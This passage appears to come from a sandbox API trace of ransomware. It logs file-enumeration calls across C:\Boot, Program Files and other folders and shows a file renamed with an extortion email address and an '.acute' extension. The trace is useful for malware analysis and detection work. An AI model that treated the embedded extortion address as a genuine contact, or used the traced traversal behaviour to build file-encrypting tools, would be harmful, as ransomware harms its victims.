cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.413] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.413] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.413] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0272.413] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.414] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.414] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.414] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.414] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.414] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.414] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0272.414] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.414] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.414] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.414] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.415] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.415] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.415] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0272.415] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.415] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.415] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.415] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.416] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.416] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.416] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0272.416] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.416] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.416] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0272.416] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0272.416] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0272.416] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0272.416] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0272.416] FindClose (in: hFindFile=0x806b58 | out: hFindFile=0x806b58) returned 1 [0272.416] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x355c8e8 | out: hHeap=0x1c0000) returned 1 [0272.416] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x3a0f680 | out: lpFindFileData=0x3a0f680*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9bcfef40, ftCreationTime.dwHighDateTime=0x1d52d10, ftLastAccessTime.dwLowDateTime=0x9bcfef40, ftLastAccessTime.dwHighDateTime=0x1d52d10, ftLastWriteTime.dwLowDateTime=0x9bcfef40, ftLastWriteTime.dwHighDateTime=0x1d52d10, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootex.log", cAlternateFileName="")) returned 1 [0272.416] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x3a0f680 | out: lpFindFileData=0x3a0f680*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0272.417] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x3a0f680 | out: lpFindFileData=0x3a0f680*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x89784fb0, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x89784fb0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x89784fb0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x2102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="BOOTSE~1.ACU")) returned 1 [0272.417] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x3a0f680 | out: lpFindFileData=0x3a0f680*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9c20de00, ftCreationTime.dwHighDateTime=0x1d52d10, ftLastAccessTime.dwLowDateTime=0x9c20de00, ftLastAccessTime.dwHighDateTime=0x1d52d10, ftLastWriteTime.dwLowDateTime=0x9c20de00, ftLastWriteTime.dwHighDateTime=0x1d52d10, nFileSizeHigh=0x0, nFileSizeLow=0xcc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootsqm.dat", cAlternateFileName="")) returned 1 [0272.417] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x3a0f680 | out: lpFindFileData=0x3a0f680*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0272.425] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="\xf90c\x3a0\xc8e0\x354\x5c\x5c\x3f\x5c\xc8ee\x354\xf65c\x3a0\x39c8\x117\x08\x01\xc8e8\x354")) returned 0xffffffff [0272.427] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x355c8e8 | out: hHeap=0x1c0000) returned 1 [0272.427] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x3a0f680 | out: lpFindFileData=0x3a0f680*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0272.427] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*", lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="\xf90c\x3a0\xc8e0\x354\x5c\x5c\x3f\x5c\xc8ee\x354\xf65c\x3a0\x39c8\x117\x08\x01\xc8e8\x354")) returned 0xffffffff [0272.427] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x355c8e8 | out: hHeap=0x1c0000) returned 1 [0272.427] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x3a0f680 | out: lpFindFileData=0x3a0f680*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x472fd8e0, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0272.427] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x3a0f680 | out: lpFindFileData=0x3a0f680*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0272.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="\xf90c\x3a0\xc8e0\x354\x5c\x5c\x3f\x5c\xc8ee\x354\xf65c\x3a0\x39c8\x117\x08\x01\xc8e8\x354")) returned 0xffffffff [0272.428] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x355c8e8 | out: hHeap=0x1c0000) returned 1 [0272.428] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x3a0f680 | out: lpFindFileData=0x3a0f680*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x46ce4080, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0272.428] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x3a0f680 | out: lpFindFileData=0x3a0f680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0272.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="\xf90c\x3a0\xc8e0\x354\x5c\x5c\x3f\x5c\xc8ee\x354\xf65c\x3a0\x39c8\x117\x08\x01\xc8e8\x354")) returned 0xffffffff [0272.428] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x355c8e8 | out: hHeap=0x1c0000) returned 1 [0272.428] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x3a0f680 | out: lpFindFileData=0x3a0f680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7d395cd0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x7d395cd0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0272.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7d395cd0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x7d395cd0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x806b58 [0272.428] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7d395cd0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x7d395cd0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0272.428] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0272.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0272.429] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.429] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0272.429] GetLastError () returned 0x5 [0272.429] SetLastError (dwErrCode=0x5) [0272.429] GetLastError () returned 0x5 [0272.429] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program 